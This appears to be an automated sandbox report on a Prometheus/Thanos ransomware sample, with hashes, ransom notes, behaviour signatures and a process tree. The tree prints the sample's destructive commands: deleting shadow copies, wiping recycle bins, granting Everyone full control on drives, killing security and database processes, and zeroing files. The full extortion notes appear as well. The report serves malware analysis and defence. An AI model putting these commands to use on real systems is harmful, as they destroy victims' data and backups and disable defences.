Overview

overview

10

Static

static

HEUR-Troja...3b.exe

windows7-x64

10

HEUR-Troja...3b.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    53s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    24-09-2022 09:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    HEUR-Trojan-Ransom.MSIL.Thanos.gen-9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.exe

  • Size

    123KB

  • MD5

    14de196b28bc12b5e571ea8303668041

  • SHA1

    7f400d518bd716e75c795de47e1dc67f9d29d582

  • SHA256

    9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b

  • SHA512

    1fe6f312057ca6debe2552f02c231cacff60f79fc40c053c26500f58fe4575fd4c820883bb4203ead2e9db00402883389d72853f304d3e198a333ef49e387b6f

  • SSDEEP

    3072:RdvedgwAwp9orNJUq11rfAEVMjOPsn94+fmVnj/:b4gnxMjO+9tfmVj

Score
10/10
prometheusdiscoveryevasionpersistenceransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Family

prometheus

Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- !!!!!!!!!!!!!!!!!!!!!!!! If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. !!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------------------- It doesn't matter to us what you choose. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: 1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site. 2. Press "Download Tor", then press "Download Tor Browser Bundle", install it. 3. Open the Tor browser. Copy the link http://promethw27cbrcot.onion/ticket.php?track=54Z-YAD-AWLD and paste it in the Tor browser. 7. Start a chat and follow the further instructions. Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: FCtdunF000TBDXMLrjefwYWo34Ze+RZ0wrbZ+rhyFjdGcgELBXOYXpnA4FN3U7pJS75o9RTT5nnbxqaN//1zdVlVKKDcZqxSNoZaYXXYIX3FrcxRq/ooUuHGvpfv7XylmmAXVfxrZb4ri4qzLT5K7atdRBpaA/QMhrf0TR6LhpM3wV9MV4eG+4tqZ37U++RqpKsW4aTdPXHttmvXP40DOVsMm6pkZamXn1H2M1AKvOeuIgNpkWgAW51vJJfIzUw3wp2nTs+0XD6tW1qiVub9bMwR6kF7gMQ8IZnqNA6cjRhCcS0iu2xI4ic1UgPueUUi3q5NuJmbzHeao0aXGfHJfsP5X7R8NgKnonX8LFAMIWrAU8rlxBLP7vpFjvzGOMGf4Pg/R7VTs5ZgNUrx9V5z0+SoinLxOx+3+NPyL7E52MsjJHg1QatatejQhp1cY95X0bdEfMoxAZmh05Qd7TIWYe+Z5vne6Jk6wtZj8tP6nhFLyfrXiDEWQfLfF0fijR8smEuMI/+JSuD0A5tvVevuWrCrdVVF1JfgkdCvgEO/S2E1pkj5dVtj1Aqd6OXQPbkBFAnVEeSt/RaoJW2XWGedgJGYWXu1jVSCLzcBOh5fku8II33J/UOxhc66ghg2XTzkm5c1r8B+q5DjLLKVhqZ4XO2Ti/Fa4WSRi7/YoWy/zxI=
URLs

http://promethw27cbrcot.onion/ticket.php?track=54Z-YAD-AWLD

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

Family

prometheus

Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it’s installation. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. It doesn't matter to us what you choose. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: 1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site. 2. Press "Download Tor", then press "Download Tor Browser Bundle", install it. 3. Open the Tor browser. Copy the link http://promethw27cbrcot.onion/ticket.php?track=54Z-YAD-AWLD and paste it in the Tor browser. 7. Start a chat and follow the further instructions. Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: FCtdunF000TBDXMLrjefwYWo34Ze+RZ0wrbZ+rhyFjdGcgELBXOYXpnA4FN3U7pJS75o9RTT5nnbxqaN//1zdVlVKKDcZqxSNoZaYXXYIX3FrcxRq/ooUuHGvpfv7XylmmAXVfxrZb4ri4qzLT5K7atdRBpaA/QMhrf0TR6LhpM3wV9MV4eG+4tqZ37U++RqpKsW4aTdPXHttmvXP40DOVsMm6pkZamXn1H2M1AKvOeuIgNpkWgAW51vJJfIzUw3wp2nTs+0XD6tW1qiVub9bMwR6kF7gMQ8IZnqNA6cjRhCcS0iu2xI4ic1UgPueUUi3q5NuJmbzHeao0aXGfHJfsP5X7R8NgKnonX8LFAMIWrAU8rlxBLP7vpFjvzGOMGf4Pg/R7VTs5ZgNUrx9V5z0+SoinLxOx+3+NPyL7E52MsjJHg1QatatejQhp1cY95X0bdEfMoxAZmh05Qd7TIWYe+Z5vne6Jk6wtZj8tP6nhFLyfrXiDEWQfLfF0fijR8smEuMI/+JSuD0A5tvVevuWrCrdVVF1JfgkdCvgEO/S2E1pkj5dVtj1Aqd6OXQPbkBFAnVEeSt/RaoJW2XWGedgJGYWXu1jVSCLzcBOh5fku8II33J/UOxhc66ghg2XTzkm5c1r8B+q5DjLLKVhqZ4XO2Ti/Fa4WSRi7/YoWy/zxI=
URLs

http://promethw27cbrcot.onion/ticket.php?track=54Z-YAD-AWLD

Signatures

  • Prometheus Ransomware

    Ransomware family mostly targeting manufacturing industry and claims to be affiliated with REvil.

    ransomwareprometheus
  • Modifies Windows Firewall 1 TTPs 2 IoCs
    evasion
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
    discovery
  • Modifies WinLogon 2 TTPs 2 IoCs
    persistence
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 48 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Thanos.gen-9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.exe
    "C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Thanos.gen-9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.exe"
    1⤵
    • Drops startup file
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1880
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:280
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:580
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:892
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:532
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
          • Launches sc.exe
          PID:1120
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SQLTELEMETRY start= disabled
          2⤵
          • Launches sc.exe
          PID:1824
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config FDResPub start= auto
          2⤵
          • Launches sc.exe
          PID:1556
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
          2⤵
            PID:1900
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SSDPSRV start= auto
            2⤵
            • Launches sc.exe
            PID:1036
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
            2⤵
            • Launches sc.exe
            PID:688
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SstpSvc start= disabled
            2⤵
            • Launches sc.exe
            PID:760
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c rd /s /q D:\\$Recycle.bin
            2⤵
              PID:828
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SQLWriter start= disabled
              2⤵
              • Launches sc.exe
              PID:1660
            • C:\Windows\SysWOW64\netsh.exe
              "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
              2⤵
              • Modifies Windows Firewall
              PID:1764
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config upnphost start= auto
              2⤵
              • Launches sc.exe
              PID:1676
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mspub.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:932
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM synctime.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1612
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mspub.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1972
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mydesktopqos.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:900
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM Ntrtscan.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1152
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mysqld.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1792
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM sqbcoreservice.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:796
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM firefoxconfig.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:824
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM agntsvc.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1076
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mydesktopservice.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:584
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM isqlplussvc.exe /F
              2⤵
              • Kills process with taskkill
              PID:2000
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM thebat.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1824
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM steam.exe /F
              2⤵
              • Kills process with taskkill
              PID:1740
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM onenote.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:568
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM sqlwriter.exe /F
              2⤵
              • Kills process with taskkill
              PID:1772
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM ocomm.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1172
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM PccNTMon.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1816
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM encsvc.exe /F
              2⤵
              • Kills process with taskkill
              PID:1868
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM tbirdconfig.exe /F
              2⤵
              • Kills process with taskkill
              PID:1068
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM excel.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1632
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM msaccess.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:588
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM infopath.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1680
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM dbeng50.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1700
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM outlook.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1020
            • C:\Windows\SysWOW64\netsh.exe
              "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
              2⤵
              • Modifies Windows Firewall
              PID:1348
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mbamtray.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1996
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM CNTAoSMgr.exe /F
              2⤵
              • Kills process with taskkill
              PID:1664
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM thebat64.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2000
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM tmlisten.exe /F
              2⤵
              • Kills process with taskkill
              PID:1676
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" IM thunderbird.exe /F
              2⤵
              • Kills process with taskkill
              PID:984
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM zoolz.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:864
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM dbsnmp.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:624
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM msftesql.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1944
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM wordpad.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:884
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM xfssvccon.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1868
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mysqld-opt.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:892
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM powerpnt.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1984
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM ocautoupds.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1812
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
              2⤵
              • Modifies Internet Explorer settings
              PID:564
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mydesktopqos.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1176
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
              2⤵
                PID:576
                • C:\Windows\SysWOW64\PING.EXE
                  ping 127.0.0.7 -n 3
                  3⤵
                  • Runs ping.exe
                  PID:1600
                • C:\Windows\SysWOW64\fsutil.exe
                  fsutil file setZeroData offset=0 length=524288 “%s”
                  3⤵
                    PID:1416
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM ocssd.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:960
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM visio.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1624
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM oracle.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:364
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM mydesktopservice.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1900
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM sqlagent.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:304
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM winword.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1660
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM sqlbrowser.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2032
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM mysqld-nt.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1012
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM sqlservr.exe /F
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1120
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:932
                • C:\Windows\SysWOW64\icacls.exe
                  "icacls" "C:*" /grant Everyone:F /T /C /Q
                  2⤵
                  • Modifies file permissions
                  PID:1032
                • C:\Windows\SysWOW64\icacls.exe
                  "icacls" "D:*" /grant Everyone:F /T /C /Q
                  2⤵
                  • Modifies file permissions
                  PID:1908
                • C:\Windows\SysWOW64\icacls.exe
                  "icacls" "Z:*" /grant Everyone:F /T /C /Q
                  2⤵
                  • Modifies file permissions
                  PID:1016
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Thanos.gen-9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.exe
                  2⤵
                  • Deletes itself
                  PID:688
                  • C:\Windows\SysWOW64\choice.exe
                    choice /C Y /N /D Y /T 3
                    3⤵
                      PID:1664
                • C:\Windows\system32\conhost.exe
                  \??\C:\Windows\system32\conhost.exe "-49315034789532273-148394022-15405793222080097399-1849993378-972493326-326536713"
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1740
                • C:\Windows\system32\conhost.exe
                  \??\C:\Windows\system32\conhost.exe "-770480726577352086-3455611583984106712989048975614272-745713604-2026198166"
                  1⤵
                    PID:984
                  • C:\Windows\system32\conhost.exe
                    \??\C:\Windows\system32\conhost.exe "-876248110195607746693943308109646300-1373818444-688266761-12509476772064884247"
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1676

                  Network

                  MITRE ATT&CK Matrix ATT&CK v6

                  Initial Access

                  Execution

                  Persistence

                  Modify Existing Service

                  1
                  T1031

                  Winlogon Helper DLL

                  1
                  T1004

                  Privilege Escalation

                  Defense Evasion

                  File Permissions Modification

                  1
                  T1222

                  Modify Registry

                  4
                  T1112

                  Credential Access

                  Discovery

                  System Information Discovery

                  1
                  T1082

                  Remote System Discovery

                  1
                  T1018

                  Lateral Movement

                  Collection

                  Exfiltration

                  Command and Control

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt
                    Filesize

                    2KB

                    MD5

                    6e22a0c9e38e5dcf063d1887b4b67f64

                    SHA1

                    94445e7f991243d3c5d3e2d19d37bbb2a39eb014

                    SHA256

                    288c6010d4bec64a234fa94c690adc4033d8fd8c9713e64d9668d8c22a37cbc0

                    SHA512

                    5803599512a83691b5c5fb497761f6e7f19697160b544539f6f1c0e278f3d94ab3fa571d80901946a8e5ff3d2c655a7d1cac14942995138e3e6041b2b0e4d0db

                    Download Submit
                  • C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
                    Filesize

                    21KB

                    MD5

                    e7ae211201a251df38116de69d3696bf

                    SHA1

                    379c54d96d0f53f90b2cf339d3d060db7096098d

                    SHA256

                    1e7ca76ab26210fa011e605a33f17afa203a6e81909f5ec9a3fffc19010e8e2f

                    SHA512

                    80908f3c666a38fb2335011560a15a52a3017a33e8565340d70c9aac24a9f103130eb04fc56f5fb32679e444ea0f13115973472e50603190ed8fbf4754aadf80

                    Download Submit
                  • memory/280-56-0x0000000000000000-mapping.dmp
                    Download
                  • memory/304-120-0x0000000000000000-mapping.dmp
                    Download
                  • memory/364-117-0x0000000000000000-mapping.dmp
                    Download
                  • memory/532-59-0x0000000000000000-mapping.dmp
                    Download
                  • memory/564-111-0x0000000000000000-mapping.dmp
                    Download
                  • memory/568-85-0x0000000000000000-mapping.dmp
                    Download
                  • memory/576-113-0x0000000000000000-mapping.dmp
                    Download
                  • memory/580-57-0x0000000000000000-mapping.dmp
                    Download
                  • memory/584-80-0x0000000000000000-mapping.dmp
                    Download
                  • memory/588-92-0x0000000000000000-mapping.dmp
                    Download
                  • memory/624-104-0x0000000000000000-mapping.dmp
                    Download
                  • memory/688-65-0x0000000000000000-mapping.dmp
                    Download
                  • memory/760-66-0x0000000000000000-mapping.dmp
                    Download
                  • memory/796-77-0x0000000000000000-mapping.dmp
                    Download
                  • memory/824-78-0x0000000000000000-mapping.dmp
                    Download
                  • memory/828-67-0x0000000000000000-mapping.dmp
                    Download
                  • memory/864-103-0x0000000000000000-mapping.dmp
                    Download
                  • memory/884-106-0x0000000000000000-mapping.dmp
                    Download
                  • memory/892-108-0x0000000000000000-mapping.dmp
                    Download
                  • memory/892-58-0x0000000000000000-mapping.dmp
                    Download
                  • memory/900-74-0x0000000000000000-mapping.dmp
                    Download
                  • memory/932-125-0x000000006EE80000-0x000000006F42B000-memory.dmp
                    Filesize

                    5.7MB

                    Download
                  • memory/932-126-0x000000006EE80000-0x000000006F42B000-memory.dmp
                    Filesize

                    5.7MB

                    Download
                  • memory/932-71-0x0000000000000000-mapping.dmp
                    Download
                  • memory/960-114-0x0000000000000000-mapping.dmp
                    Download
                  • memory/984-102-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1020-95-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1036-64-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1068-90-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1076-79-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1120-60-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1152-75-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1172-87-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1176-112-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1348-96-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1556-61-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1600-115-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1612-73-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1624-116-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1632-91-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1660-68-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1660-121-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1664-98-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1676-70-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1676-101-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1680-93-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1700-94-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1740-84-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1764-69-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1772-86-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1792-76-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1812-110-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1816-88-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1824-62-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1824-83-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1868-89-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1868-107-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1880-54-0x00000000009B0000-0x00000000009D6000-memory.dmp
                    Filesize

                    152KB

                    Download
                  • memory/1880-55-0x0000000075201000-0x0000000075203000-memory.dmp
                    Filesize

                    8KB

                    Download
                  • memory/1900-118-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1900-63-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1944-105-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1972-72-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1984-109-0x0000000000000000-mapping.dmp
                    Download
                  • memory/1996-97-0x0000000000000000-mapping.dmp
                    Download
                  • memory/2000-100-0x0000000000000000-mapping.dmp
                    Download
                  • memory/2000-81-0x0000000000000000-mapping.dmp
                    Download
                  • memory/2032-122-0x0000000000000000-mapping.dmp
                    Download